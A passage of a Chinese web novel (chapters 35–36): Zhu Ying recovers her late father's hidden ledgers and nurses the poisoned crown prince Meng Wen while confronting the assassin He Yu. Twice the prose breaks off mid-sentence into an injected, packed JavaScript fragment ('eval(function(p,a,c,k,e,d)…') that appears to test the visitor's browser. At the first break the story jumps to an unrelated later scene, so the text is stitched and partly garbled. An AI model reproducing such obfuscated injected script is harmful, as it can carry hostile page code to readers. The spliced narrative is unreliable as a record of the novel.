“我知道钥匙在哪儿，就在如今的梁府里，我需要殿下帮我支开梁氏的人，只肖一刻便能拿到。” 孟闻盯着她，静静打量了一会儿，总觉得她定还瞒下了其他。他不多问，先答应了下来。 太子回了梁府，便下令召集随行官员与地方官，聚在前院商谈要事，因着与乌护有关，兹事体大，所以议事时将院中一干人等都屏退了。 如此，二三进院子之间便空了出来，无人出入。 确认周遭无人，竺影才拉着角音寻到那面流云石墙下。 梁家在竺府的旧址上扩建了，在三进的宅邸后面添了二进，变成了五进的府邸。 难怪她记不得家里的布局，原来是从一开始就找错了地方。 今又回到这里，想不到这面墙壁竟还保留了原样，未曾拆除。墙下栽种了珍稀草木，交相掩映，平日里倒不易让人察觉墙角下的蹊跷。 到了这时，竺影心中还是无法完全笃定，想不通怎会有人将重要的东西藏在这种地方，毕竟这处平日里人来人往。 可能那时父亲也走得仓促，竺影只记得他匆匆回过一趟云琅。 她鬼鬼祟祟蹲下，拨开草木在墙角一顿翻找时，角音一拍脑袋，作恍然大悟状：“原来你当初在后院里——” 竺影回首瞪他一眼：“少废话，来帮忙。” 角音拔出宝剑，一边骂骂咧咧，一边帮她干着挖墙脚的勾当…… 孟闻结束了议事，借故出门，未在梁府用晚膳。 竺影与角音已经找到了钥匙，在府外候着了。 “瞿府密室的钥匙，竟会放在梁府。”孟闻颇有些不可思议，忍不住问她，“你是如何知晓的？” 竺影指着身后梁府的匾额说道：“因为那里，曾经是我的家。” 35. 拟行路难（五） 现如今的梁府，竟是曾经的竺府啊。 孟闻收回了探究的目光，没再追问。 既已拿到钥匙，遂往瞿府去了。 锈蚀的锁链落下，角音推开石门，再次被积年累月的灰尘呛到了。 竺影秉烛上前，微弱的烛光照亮地下石室，映出靠墙的三座樟木书架，夹上一层层堆叠的，俱是文书与账簿。 “竟是如此之多？”角音瞪直了双眼，不由担心起来，“这么多要清点到何时啊？梁府里应当存放不下吧……” “未必全都用得上。”孟闻不疾不徐地从竺影手中拿过烛台，走近了查看。 除账簿以外，更多的云琅郡府留下的公务文书，上头多有前任太守竺安的钤印。 竟都是她父亲收集留下的物证啊，竺影一边看，一边想着。 因着与祝氏上一任家主，也就是祝从嘉的父亲交好，两人都对辑录有些心得，竺安便也保留着给文书编目整理的习惯。 在任十年，他便记了十年。 时至今日才有人回到这里，揭开尘封的书卷。 目下见这堆旧文旧账随意堆放，未按年限编排，连编目也不曾做。足以见得当时父亲整理得匆忙。 而且这里头会否有他们想要的证据，还尚未可知。 孟闻将烛台交予竺影，让她帮忙举着照明，又埋头在书架间翻找，随口问道：“竺太常既知晓这些账簿的存在，为何私藏至今？” 他的语气平平淡淡的，竺影不知他是否有怪责之意，怪责她父亲明知真相，却未能站出来为陆尚书正名，致使一众臣子蒙冤。 竺影试着解释：“当年之事，家父曾替陆尚书求过情的。” 孟闻盯着她：“然后呢？” 竺影道：“被流放了。” …… “好吧。”孟闻只余叹息。 仓促得没有任何转圜之机。 今人又该去怪谁呢？ 去怪罪、去问责龙椅上的天子吗？ 天底下没有几个人有这样的胆量。 竺影没再开口，只是试着将烛台举得近些，将孟闻眼前的书架照得再亮一些。 狭小的石室里灰尘弥漫，一举一动间，总有扬尘散开，散成烛光下的细小的白点。 透过微尘的间隙，竺影察觉他脸色不太好，但烛影摇晃着看不真切，她便以为是错觉。 角音在一旁提醒：“殿下，此处长期无人踏足，气息闭塞，不宜久留。还是将这些册子都搬出去，再作计议罢？” 竺影也觉得在这处待久了，吸入太多灰尘，胸口有些发闷，举着烛台的胳膊也酸。 两人都等着主君发话。 孟闻道：“只怕让梁氏的人察觉了，不惜一切代价也要毁了物证。且随行的臣僚当中，也有几个牵扯了当年旧案的。” 侍郎容桢就是其一。孟闻心有防备，并不选择相信他们。 竺影道：“便只能等快回京时，再把这些文书搬去了，带回宫里。” 孟闻沉思半晌，还是赞成了竺影的提议。仅从架上抽了几本册子，准备带回去，分别是宁朔七年与宁朔八年云琅郡志，以及两本物帐流水。 唉…… 竺影在心里苦叹一声，她今晚恐又要熬夜看账本了。 这一路她提灯照明引路，穿过来时的暗道。 角音走在最后，同太子又一次谏言：“此女知道了太多的事，只怕她出去了便要向外人吐露，殿下万不可留情，还是应当……” 他在暗道里大声密谋，不论是附在孟闻耳边的耳语，还是回声，竺影都听得真真切切。 她有些无语，回过头来看他一眼：“应当如何？狡兔死，走狗烹吗？” “咳咳……”角音尴尬地别过了脸。 孟闻严肃道：“慎言。” 孟闻离开之前，同梁叡打过招呼，梁府的人只当他是去盘问瞿良贿和一事了。 晚上回来时，他面色凝重，板着一张脸，似是心情十分不好。 毕竟贿和这事被揪出来了，并州允诺给乌护的好处再不能及时送上，他们要是闹上门来，边境早晚生变。 梁叡当太子还在为这事头疼，也不敢多问，生怕惹恼了他，仅是派人往他院里送了些茶点。 竺影夜里还要到主屋看帐，不等孟闻亲自叫她，她便自觉过来了。 见书案上的账簿、珠算、笔墨纸砚都为她备得齐齐整整了，她也从善如流入座，毫不扭捏。 孟闻捧着一本云琅郡志，坐得分外端直，与竺影隔了一个案头。 孟闻夜里没什么胃口，叫怀岫沏了茶水，只端起茶盏啜饮几口，却没动那几碟点心，一一推到了竺影面前。 竺影面上淡笑，心中一阵嘲讽：太子殿下人还挺好，想让马儿跑，竟还记得给马儿吃草。 这人还万般“良善”地叮嘱她：“白日里劳碌，大可以不必着急一晚上看完这些。” 竺影连连称是，太子殿下恐怕对她有什么误解，她可从未有此打算啊，更没打算同他焚膏继晷。 孟闻又饮了口茶，搁下杯盏本欲继续翻书，忽然低低咳了几声。 出于半吊子医者的警觉，竺影乍一转头，觉得他脸色差得出奇，虽然平日里也是这样黑着脸，但也不会像这般…… 她伸出手想探一探他额头的温度，被这家伙一个侧身躲开。 “做什么？”孟闻回避着她，敏锐盯住她停在半空的手。 好生尴尬…… 竺影收回手撑在案上，仍是盯着他的脸看。往昔见这面若冷玉，今夕在烛光下再观，却见这玉蒙上了灰尘，十分黯淡。 她本能地想为之掸开。 竺影道：“殿下是不是身子不舒服？已经劳碌了整日，今夜要不要早些休息？” 孟闻道：“我并无不适。” “真的吗？”竺影并非想躲懒，她只是有些担忧，“可是殿下的脸色看着很差。” “是么？”他自行探了探额头，毫无察觉。 “当真。”竺影万分笃定，“要不要让怀岫进来看看？” 今夜是怀岫在外守夜。 孟闻道：“不用了。她又不懂医。” 那他的言下之意是……竺影生怕曲解了他的意思。她总说自己医术不精，并非是自谦。 当下也只能凭着她学的那点皮毛，鼓起勇气道：“要不……我来给殿下探一探脉吧。” 这“医者”声音虚得很，心也虚得很。 “不必。”孟闻蹙眉看她一眼，想也不想便拒绝。 竺影劝道：“殿下可不要忌医啊。” 他淡淡反问：“你算哪门子的医？” “哦。”竺影深知她是被嫌弃了，悻悻退了回去，也并不恼火。仔细想来——似乎学医数载，她还真没治好过谁。 竺影复问：“殿下当真没有察觉不适吗？” “嗯。”他继而低头翻书，不再理会竺影，“不必理会我，安心看你的账便是了。” 唉。 竺影独自惋惜，这人竟不顾她的好心。 其实最初她挺盼着太子出事的，盼着他在人生地不熟的北地屡屡碰壁，盼着他建不成那观星楼，不仅于她、于齐王有利，还能顺带出了一口恶气。 然而眼下旧案刚有了一点点眉目，亟待细查下去，加之北边乌护虎视眈眈，并州士族各怀鬼胎，竺影打心底盼着他一点好，并不希望他在这个关头出事。 到底还是太矛盾，以至于她连账簿都看不下去，时不时偷瞟他一眼。 怎么脸色更加难看了呢？ 他不曾抬头，冷声道：“若不想看，便回去。” 原来是生气了。 竺影方才老实端坐回去，不去看他了，认认真真翻看郡志与流水。 这么一查，竟真让她揪出一点端倪来。 宁朔七年云琅郡的财政倒是运作自如，怎么说都不至于到了后来无以为继的地步。 “殿下，您看——”竺影摊开郡志，正要指给孟闻看。 顿时听得“咚”的一声，他支着案缘的手支撑不住，于是乎整个都栽倒了下去。 “殿下、殿下——” 竺影慌了，膝行到他身侧去，接连叫了两声，他都不应。 看吧，就说你是病了。 正要喊怀岫进屋，好将殿下搀扶起来。只是竺影心中稍有犹豫，还是先伸出手去探一探他的体温，额上冰凉，指端也冰凉，浑似一块冷玉。 再撩开他的衣袖，露出苍白的腕骨。三指搭上脉搏，静心数着一息、两息、三息……越数下去，竺影的眉头皱得越紧。 怪异极了，一时半刻她真无法断定这是什么怪病，许是中毒了也说不定。 算了，这样棘手的病，还是请医官来看吧。 她出了门，叫怀岫前去找角音，又回去将地上散落的文书一一收起。 角音火急火燎赶来，进门先质问起竺影：“你又搞什么名堂？” 竺影一指伏在案上的孟闻，幽幽提醒他道：“先别管我了，看看你家殿下吧，他好像有一点死了哦。” 角音怒道：“住口！你对他做了什么？” 竺影撇了撇嘴，一会叫她住口，一会叫她答话，那她究竟是答还是不答？ 她道：“此时质问我有什么用？还不快把殿下扶起来，告知了梁中正，叫他去找医官过来？” 角音放下刀剑，搀扶太子回到榻上，转头威胁竺影：“你在这里好生看着！”便踏出门去请医。 医官很快就请来了，入院为太子诊病。 院里睡下的人都惊醒了，后院陆陆续续燃起盏盏灯火。竺影和几个宫人守在屋外，听着院外脚步踱来踱去，是一众官员们候在外头，为此殚精竭虑。 太子这一病，几乎把整座府邸的人都惊动了。 医官只跟梁中正与容侍郎汇报了太子的病症，竺影猜测，大抵是太子殿下操劳过度，又染了疫病之类的话。 后半夜，梁府的仆从煎了药送来，交由院里的宫人，留给她们的叮嘱，便是好生侍奉殿下用药。 怀镜端药进了屋，从容地尝过汤药，然后才叫怀岫给殿下喂服。 比起年纪尚轻的翡儿，她二人总是淡定许多。 翡儿挨着竺影坐下，轻扯了下她的衣袖，惴惴问道：“竺姊姊，你近日与殿下出去，可曾发生了什么？殿下好端端的，怎么就病了？” 竺影道：“我也不清楚，殿下不曾在外用过什么饭食，应当是累着了吧。别担心，说不准殿下明日就醒了。” “可是——”翡儿又道，“方才进来的时候，那个侍卫阴着一张脸，鼓起眼睛瞪我，好吓人。” 她所说的侍卫，应当是角音了。 怀镜皱眉斥她道：“翡儿，别再出声打搅殿下了。” “哦。”翡儿低声应答，闭了口。 竺影也没再说话，轻轻拍了拍翡儿的手，安抚一下。 屋里安静极了，只闻勺子与瓷碗碰撞。屋外的脚步声未曾远去。 怀岫喂完了药，与怀镜一道守在主屋里，让竺影和翡儿先回去休息，四个人就这么轮着守夜。 竺影回屋，和衣躺下，心中还是隐隐察觉不安。 关于太子殿下到底生了什么病，院子里的人探听不到半点实情。她们只是寻常宫人，没有去问询那些官员的权柄。外头的手可以轻而易举伸到院子里来，她们的视线却越不过这道院墙。 为何偏偏是在这时？为何偏偏在瞿太守刚刚下狱之时？届时乌护人不肯罢休，云琅乃至并州又由谁来主持大局？竺影总觉得这个节点太过微妙了。 想到太子殿下这一病，她再难寻到借口出府，这可不大妙。 那就只得偷偷地溜出去，这般想着，竺影还真想起来一条出府的路——这里可是曾经的竺府。 孟闻翌日早晨醒来过一次，那时竺影不在。 他遣人去叫了容桢过来。用早膳时，也只留容侍郎一人在屋里说话，至于谈了什么，旁人一概不知。 容侍郎离开后，怀镜劝太子休息，他还要强撑着起来看公文。看了一会儿又撑不住，昏睡过去了。 怀镜叫医官过来诊脉，早晚各喂了一副药，仍不见转醒。 夜里，竺影和翡儿守在病榻之侧。 榻边点一盏昏灯，罗帐垂下，榻上的人如旧沉睡着，安安静静。 竺影偶尔掀了帐子瞧看，假装在为他掖被角，悄悄探一探脉搏。 许是病得难受，他身上冒了许多冷汗，细碎的鬓发沾湿贴在脸上，衣襟也汗湿了。 竺影叫翡儿去取来热汤，沾湿丝帕，绞干了为他擦拭薄汗。 刚消了的冷汗，过会又冒出来，她便坐在榻侧不厌其烦地擦拭。拭过了苍白如缟的面庞，又为他擦拭手臂。他的双手冰冷，竺影就用沾了热水的帕子，一遍又一遍地捂热。 他从前也曾这样照顾病患，如今做起这些，也还算得心应手。只有在对待病患时，她才会有这样的耐心。 再度擦过他额头时，看见他嘴唇翕动，在说些含糊的字句。 声音低低的，竺影俯下了身，侧耳去辨听，听见他梦里喃声唤着的，是母亲。 母亲…… 他在唤母亲。 这些秘密，不敢叫外人知道，不敢叫皇帝知道，却因在失去意识的梦魇里，无处遁形。 翡儿似也听见了，侧头过来问：“是殿下醒了吗？” “是殿下在梦呓。”竺影平静解释完，把帕子投进水盆里，同翡儿道，“水冷了，再去换一盆吧。” “好。”翡儿应声出去了。 竺影本来也要起身，却被不轻不重的力道扯了回去，低头一看，榻上垂下一只手，拽住了她的袖角。 再往帐中看去，一双沉静的眸子在烛光中凝睇着她，他这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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禾玉道：“你拦不住我。” “可以试试。”竺影说着，便要伸手去抓匕首，禾玉见状，果然即刻收了刀。 竺影心下了然，微微笑道：“他叫你来护我，你却又擅作主张威胁我？” 禾玉浑然不惧，扬了扬下巴道：“又要告状么？也要等你回了京再说。” 竺影道：“你这时将账册拿走了，等太子醒来，我要如何去自辩清白？” 禾玉道：“届时我将你打晕了，太子房中失窃至多是守卫失职，算不上你的罪过。” 竺影道：“他会信么？” 禾玉道：“要看你的本事了。” 片刻讨价还价后，床帐里传来一点微弱的动静，一时间两人都噤了声，竖起耳朵去听。 竺影心跳得厉害，喉咙紧绷，犹如那柄匕首又架回她脖子上。 过后，却没再听到什么动静。 禾玉笑了起来，把玩着手里的匕首，看向竺影道：“看来是没死透，方才的话不会让他听去了吧？” 竺影又有种不祥的预感，下一刻，本该用以威胁她的匕首，转而刺向了床帐。 两人几乎同时冲了过去，一个为杀，一个为阻拦。 黑暗里传来裂帛之声，禾玉及时收了力道，刀锋只划裂了衣袖。 禾玉目光一冷，审视她道：“你做什么？” 竺影伸手拦在榻前，不让她再靠近一步，反问道：“我倒想问问你想做什么？” 禾玉道：“干脆让他死在这里，省得回京阻了殿下的路。至于罪责……人是死在梁府里的，岂不正好？” 刺杀太子？ 竺影惊道：“你疯了吗？” 禾玉气急道：“我看你才是你疯了，莫非你还指望他醒来之后会放过你？” 竺影回眸看了一眼，只有垂下的床帐，看不见里面的人是什么神情。 是已经清醒了在装睡，还是仍昏睡着？ 几番权衡利弊，竺影情愿是后者。她执意道：“他此时还不能死。” 旧案才刚有了一点眉目，谁知梁氏会有什么动作？竺影还不能让他死。 禾玉眼中露出一抹嘲弄的笑意，意味深长道：“你有胆量下毒，却没有胆量下死手么？” “什么？下毒？”竺影懵了，毒害当朝太子么？这么大一口锅，突如其来砸了下来，砸她个措手不及。 “原来不是你做的么？”禾玉笑意更深，觉得更有意思了。 “我没做过，你少污蔑我！”竺影矢口否认，又耐着性子跟她分析一番利弊，“他此时尚无根基，留着又能如何？须知殿下此时最大的阻碍，是梁氏。但使太子不在，梁氏占着北地，你能保证殿下从孟觉手里争得几分利？孰轻孰重，你自行掂量。” 储君帐前语朝堂是非，她胆子未免也太大了些，可眼下顾不得这么多。 禾玉杀人办事，向来不喜拖泥带水。 禾玉狐疑审视着她：“你该不会——对他有了偏私吧？” 竺影道：“我只是为了更长远的考量。乌护人进城了，瞿太守已下狱，届时云琅乃至并州将由谁来主持大局？你不会真希望并州落入梁氏手里吧？等殿下怪罪下来，即便你以死谢罪也于事无补。” 禾玉幽幽道：“这托词，也称得上冠冕堂皇。” 她眼中的竺影一直如此，动辄仁慈恻隐，分不清轻重缓急。换而言之，成事不足败事有余。 竺影勒令她道：“眼下，你该走了。再不走，我就叫侍卫进来。” 禾玉再不情愿，也只得暂时收了刀。 “我只情愿，你当真能够拎得清。” 脚步声在黑暗中退远了，又只剩阒然一片，连风声也没有，像从未有人来过一样。 火光划过，竺影重新点燃榻边的油灯，方才撑着僵硬的躯干，缓缓坐下。 她不敢背对床榻，生怕帐中伸出一双手来掐死她。 可是过了很久，翡儿还没有回来，帐中人也没有反应，竺影的心跳才慢慢平复。 禾玉来了，说明孟晓在盯着这里。那么孟晓应当是……盼着并州生乱的吧。这里生了乱，他才好去揪别人的错处。当初太子要来并州，众人不都是这么盼着的吗？ 竺影战战兢兢摸回床榻侧，趁孟闻没醒，再一次为之切脉。 他手心生汗，竺影何尝不是吓出了一身的汗。 脉来得缓慢，比之昨日更虚弱了。起初竺影以为是寒症，可是禾玉说他中了毒，她因何如此笃定？ 如果不是孟晓指派人做的，难不成是梁叡做的手脚，他想借此法拖住太子？太子衣食住行皆由梁府负责，梁叡要下毒倒是方便得很。 如果真是他做的，那他找来的医官也不可信。 36. 拟行路难（六） 第二日，轮着怀镜与怀岫侍疾，竺影才有闲暇出去一趟，又找到禾玉。 昨夜“帮手”自己找上门来，她理应礼尚往来。 禾玉扮作梁府的婢子混进来，竟没引起旁人怀疑。在府里来去自如，如入无人之境，远比竺影更随心所欲。 禾玉见了她，先问起：“昨夜他醒了吗？” 竺影道：“若是他醒着，我怎还能活着来见你？” 禾玉抱臂打量她，笑道：“我以为你来求我带你逃命。” 竺影开门见山道：“我的确有事找你，你昨夜说的，太子中了毒，究竟是怎么一回事？” 禾玉认为没有同她坦诚的必要，于是随口搪塞：“我哪里清楚？你只当我是捕风捉影罢了。” 竺影道：“捕风捉影？昨夜你就敢笃定是我下的毒么？” 禾玉道：“我若知道实情，便不会以为是你做的了。” 竺影慢慢分析道：“所以你只从前院的人口中探得知，太子是中了毒，却不知是何人下的毒。梁中正不敢认，怕是会与医官谎称，这是疾疫所致吧？并州多疾疫，太子巡查民间时，不慎染了疫病，倒也说得通。” “你打探这些做什么？” 禾玉听她说了这么多，只觉头疼。 竺影道：“我需要你帮我一个忙，如果可以的话，梁府的婢子每日给太子煎药，你去帮我捡一点药渣过来。” 禾玉板着个脸，毫不留情拒绝道：“办不到。” “哦。”竺影淡淡道，“那你叫我做的事，我也办不到。来了一趟并州却一无所获，我便说是你害的。” “鸣竹。”见她又摆出这副架子来，禾玉有些气恼，“你对殿下何时有过这般上心？” 竺影道：“你我说的是同一回事吗？既不肯帮我，那我就自己去了。” 她抬脚要走，被禾玉一把扯了回来。 禾玉攥紧拳头，骂道：“滚回你的院里好生待着，药渣我去给你弄来。” 竺影也顺着台阶下，淡笑道一声谢，便回院里等候。 稍晚些，梁府的人煎好了药送来，还有两个婢子端着食案跟随其后，给院里的宫人送来饭食。 禾玉与竺影使了个颜色，放下食案时，轻敲了两下汤盅。 竺影便端走了她的那份，说要回屋去用饭。 掩上门来，揭开汤盅的盖子一看，里面黑糊糊的，是禾玉捡来的药渣。 竺影拨开药渣细细分辨，白茯苓、甘草、犀角、人参…… 难怪他总不见好，这哪里是什么治病的药，分明只是一剂再寻常不过的安神汤。 梁府的人与医官串通好了，借机在拖延，可是太子殿下的病却拖不得。 竺影心知自己必须得做些什么，她不想让云琅生乱啊，她得让他活着。 怀镜正捧着药碗出门来，让梁府婢子收走了去，又一碗汤药见了底。 角音守在院门处，问她：“殿下醒了吗？” 怀镜摇头道：“没有。” 角音无奈叹了口气，提剑往院外去。一边走一边骂道：“什么狗屁庸医，我去叫他们再换个医者来。” 竺影听到屋外的声音，刚处理完那些药渣，连饭也顾不得吃，便推门跟了出去。 角音回头瞥她一眼，将不悦写在了脸上。他一句话也不说，迈开步子就要将人甩在后头。 她却像影子似的，一直疾行跟着。 角音不耐烦了，转过身来，将一肚子火气都朝她身上发泄：“你一直跟着我做什么？” 竺影遂开口道：“云琅城外三十里有座山，名为松山，有位神医在那隐居，殿下这病十分古怪，寻常医者治不好，或许只有那位神医可救。” 角音神色激动，追着她问道：“什么神医？告诉我他叫什么名字？松山在哪儿，我这就去将人请来！” 竺影却摇着头道：“你请不来的。神医不会跟你下山，更不会到士族府里，给贵胄看病。” 角音又恼了：“那你同我说这些废话做什么？” 竺影道：“我告诉你这些，是想让你带着殿下出城寻医。” 角音面色难绷，咬牙道：“让太子殿下去求医？你不觉得荒唐吗？” 竺影深知这犟种没那么好说动，思来想去，只得狠下心道：“失了面子事小，丢了性命事大。已经喂下去四剂汤药了，殿下未见一点好转，反而越来越虚弱，你就没有怀疑过……” 她环顾一圈，放低了声音道，“是梁府找来的医官出了问题么？殿下的病再这般拖下去，怕是不出两日，性命有虞。” 她把话说得这般重，角音更是气急，拇指摁住了剑柄，当下似真想拔剑斩了她。 可他到底没有，心中还是有所动摇了。 角音道：“谁信你的鬼话？殿下两日前还好端端的——” “我说了，两日。”竺影一再加码，语气笃定，“如不妥善医治，不出两日他必有性命之虞。你可以试试，等你再上别处去寻医，殿下的病是否耽搁得起。还是说，比起我，你更愿相信梁叡找来的庸医呢？” 角音道：“殿下要出府，容侍郎与梁叡如何能应允？” 若是梁朝的储君在外出了什么事情，他们担不起这个罪责，定然不会答应。 竺影道：“此事无需你担心，我让你做什么，你便做什么。” 她本来就没打算让这些人知道。 角音道：“凭什么？” 竺影道：“你若不听，我便撒手不管了。” “你你你——”角音被气得说不出话，直瞪着她，恶狠狠道，“你说了算！” 他终还是妥协，答应了竺影所提的条件。 两人回到客院时，已经是傍晚了。 怀镜见角音出去了半天，回来时身后只跟着竺影，便问他：“医官请来了吗？” 角音一撇嘴，满怀怨怼盯着竺影的背影，没有答话。 恰逢此时，梁府的人再度送了汤药过来。 怀镜接过了药，正要送去太子房中，竺影却抢着道：“让我来吧。” 怀镜便由着她去，不跟她抢这份活计。 竺影也不作什么解释，端药进了太子房中，径直走向里屋。 角音一步步跟着，盯住她的一举一动。 竺影道：“关门。” 角音照做了。 竺影卷起帘帐，任天光照进帐里，太子殿下苍白的病容尽收眼底。 角音本以为她是要侍奉汤药，怎料下一刻她端起药碗，反手倒进了榻下的痰盂里，猝不及防。 角音倒要看看，她到底在搞什么名堂。 只见她坐在床榻边，从袖中掏出个布包似的东西，一经展开，铺排出几十根银针。 角音过会又问：“你又是在做什么？” 竺影没好气道：“施针。” 说着，又挽起孟闻的袖子，露出一条白皙玉臂，经脉纵横，毫无血色。 她捻起一根毫针，瞅准穴位，利落地扎了下去。 这一扎，角音的脸色却煞白了，也不管她在做什么，急急忙忙背过身去。 竺影道：“你不亲自盯着吗？好教你亲眼看着，我并不是在谋害你的殿下。” 角音双膝一软，扶墙坐在台阶上，甫一转头，瞥见孟闻胳膊上密布的银针，便又赶忙收回视线，硬是不敢回头再看。 竺影似看到了什么不得了笑话，忍不住抿唇偷笑，原来世界有男儿不惧刀枪剑戟，却惧怕一根小小的银针。 她也不再去顾角音，转而继续对着孟闻施针，促他早些醒来。 孟闻昏迷不醒将近整日，随行的官员，院子里的宫人，除了守着，便是无知无觉地等候。 至于他何时会醒，连医官都给不出个确切的答复。 竺影一日也等不下去。 她怕奸人卖国，佞臣作恶，害怕再这样耗下去，云琅会再度陷入水深火热。 而今之计，便是去信任一个与她同路的人。暂时同路，也算是同路。 信他在瞿太守面前的许诺，会守住这片土地最后的繁华。 竺影全神贯注于此，不知道榻上的人已经醒了。 孟闻只睁开了眼，透过窗格的天光有些眩目，照得眼前一片恍惚。 他适应了很久，才框住一个轮廓不清的影，从中拼凑出一个清晰的人影。 仍然还是她。 孟闻睁着一双寂静的眸子凝注，一如昨日夜里，仅仅凝注着她，一句话也不说。 她埋头，执着于捻针转针，过会又挑了根针来，对着他手臂扎下去。 她额上挂满了汗珠，顾不上擦拭。他的胳膊扎满了针，酸胀得很。 有人一直看着，可她始终不曾发觉。 汗水顺着她面颊滑落，洇湿在衣襟。 他的手腕被人箍住，有点发痒了叫他难受。 “你在做什么？” 孟闻终于开口。 “殿……殿下。”竺影抬头，刚扎下去的银针又收起，手臂上留下一颗血珠。 她手忙脚乱地去擦拭，血擦净了，汗又欲滴。 孟闻要抬手。 “别，别动。”竺影摁住他欲抬起的手臂，温声道，“让我来。” 他只好躺回去，一动也不动，直到所有银针都取出。 这种感觉怪异，他躯干麻木，脑子却清醒。 竺影收好银针，衣袖落下，遮住密密匝匝的针眼。 她俯身来，眼中殷切：“殿下，能起来吗？我带你去寻医。” 孟闻只看她，不答她。 在他略带探究的目光里，竺影生了心虚。 本要搀扶的她，怯怯收回手，转去取了一件外衣奉上。 孟闻自行坐起来，拢发披衣。若要下榻，他尚没有恢复力气。 “殿下醒了？”角音扶墙站起来，腿还是软。 竺影问：“殿下，是否要与容侍郎交代些事情？” 孟闻言辞犀利，反问一句：“交代什么？我是要死了么？” 话音一出，竺影和角音皆一愣。 “不不不。”竺影着急辩解，“方才与殿下说了，要出府去寻医。” “出府？寻医？”孟闻皱眉，捂着眉心低低叹气。 竺影道：“殿下昏睡两日了，您的……病，不能再拖下去。” 角音前去扯了扯竺影，小声道：“你既懂医术，为何不给殿下医治，非得要让殿下冒险出府？” 竺影低声坦言：“我只会点皮毛，你敢让我治，我还怕给你家殿下治死了呢。” 角音再度被噎住。 孟闻坐直起来，看着当他面私语的二人，说道：“罢了，叫容桢来。” 角音连声应是，出去了。 竺影垂手立在一旁，对上孟闻投来的目光无动于衷。 只想着，昨晚禾玉闯进来，他到底有没有发觉？那些话被他听去了多少？ 若他知道了，为何不发作？他若不知道，又为何一直盯着她？ 半晌，她都没有动作。 孟闻轻咳一声，道：“更衣。” 竺影迟钝，才反应过来，她明显没有这般自觉。 没有提起旁的事，竺影暗暗松了口气，走向薰笼为他取衣，而后取水沃面，穿衣簪发，从善如流。 这病人也由着她折腾。 他衣冠齐整时，才多了些许生气，显得没那么羸弱。 容侍郎来到客院，见太子殿下终于苏醒，紧锁愁眉乍然舒展。 孟闻带着病，不剩什么精力，议事也没有持续多久，容侍郎便从主屋里出来了。 竺影进屋时，孟闻回头觑她一眼，再问起：“你方才说的什么？” “我带殿下去寻医。”竺影一提裙摆，对着他跪了下去。想着若他不应，便用强求的罢。 孟闻转身见她这架势，忙退了几步到榻边。他也不懂，他分明没有责难啊。 他心里气恼，胸口发闷，一张口就成了皮里阳秋的气话：“又跪我做什么？你等我死了，再跪不迟。” 只有他才把死挂在嘴边，这样不像话。 竺影解释道：“我……我怕殿下不答应。” “是么？”孟闻打量着她，“你是不是生出了什么心思？” 他说完几句话，又乏了力，撑着床榻艰难坐下。 竺影一路膝行过去，一手掐着他手腕，为之切脉，一手为他抚平胸中积郁，不断安抚着：“殿下，可还难受得紧？” 从前的胆怯与慎微一并被抛诸脑后。 孟闻道：“你还没同我说，到底想做什么？” “我带殿下去寻医呀。”她依旧是这番话，两眼急切地望着他，“分明是中了毒，医官却说成是疫病。当真不能任由他们再拖了，再拖下去……” 这副身子骨就完完全全朽坏了呀。 她急得几欲落泪，她眼中这个快要病死的人，却分外自若。他垂着眼打量，试图从她的关切中，窥得几分真，几分假？ 不得予她首肯，也不否去。 他的指尖带着凉意，攀上竺影的后颈，吓得她寒毛竖起。莫不是因昨夜的事生疑，假意诱她过来，这会要掐死她？ 这厮怎生的这般奸诈？ 竺影悻悻要躲，在心中拟好了遗言。 落在脖颈上的力道没有收紧，那指尖却顺着面颊爬上来，在不曾落泪的眼角轻蹭两下。 “嗯？” 竺影半阖着眼，听他说：“人还没死，你哭什么？” “没哭。”她生生把眼泪忍了回去，不去想遗言的事了，只想着，殿下或许脑子也病了。 孟闻问她：“你要把我弄到何处去？” “松山。”竺影道，“殿下还出得去吗？” “扶我。”他只说了两字，伸出一条手臂向她。 竺影万不敢在这时生卑怯，不多言说，主动托住了他的手，扶他往院中去。 太子殿下久病初醒，众人见他面色如常，在府中行走自如，便以为他的病已经大好了。 晚上，太子还到前院与众人用了膳，督促几个官员，明日去往尚泉郡，又说他养病这段时日，云琅之事暂托于容桢。 众臣僚悬了几日的心，终于得以放下。 只是他们没想到，到了第二日，太子殿下又改了口，说他要亲自巡游尚泉郡。 梁中正听闻时，府外已备好马车，太子将出府登车了。 可把梁叡下了个半死，疾步追出府去。 “太子殿下！殿下！”梁叡追着道，“此去尚泉郡须得两日路程，殿下病体欠安，切不可如此劳顿啊！” 孟闻本要登车了，见有人追来，又回身道礼：“本来两日前就该启程，无奈因病耽搁，如今只得仓促赶上日程。” 梁叡道：“殿下只宜好生修养，尚泉郡之事，何不交由他人着手操办？” 孟闻道：“并州辖下七郡，随行诸位臣僚皆有要务在身，各司其职。我不可因病懒政、怠政，从而使重任施加彼身。” 梁叡又要再劝，角音拦住他道：“梁中正请回，不必再劝。殿下早日启程，也好早归。” 梁叡道：“若殿下要亲往，还请带上医官随侍。” 角音道：“不劳梁中正挂心，殿下有随行的医者。” 孟闻与梁睿行礼告辞，竺影便搀扶着他登上马车，明显感觉到他的手坠下，又多沉重几分。令她有些吃力。 车帘一经放下，阻去外人视线，他一瞬间失了力气，身子向前倾倒，再维持不住方才的得体。 竺影欲扶他坐好，又扯过褥子垫在他身后，想让他靠着舒服些。 岂知他身子一斜，直往竺影身上摔，硬梆梆的眉骨砸在她肩骨上，疼得她直吸气。 竺影道：“殿下，不若您靠在褥子上吧？会比靠在我身上好受一些。” 他不应。 角音来到马车旁请示：“殿下，是否可以启程了？” 竺影见他脑袋低垂，冷汗浸湿额上絮巾，几乎不省人事了。 她张了口本要替他答，靠在她身上的人却先开口：“启程。” 竺影：“……” 原来他还清醒着啊。 算了，且将就如此。 谁叫人家是太子，也不好多说什么。 角音带领队伍，驾车出了城。一行人在云琅城外分成了两路，一路往尚泉郡，一路往松山。 松山不远，碍于山路崎岖弯绕，需在路上耗费不少时间。 从梁府到城外这一路，这病患都靠在竺影肩头一动不动，更不吭声。 冷汗涔涔地流，流过他失血脸颊，淌过苍白脖颈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 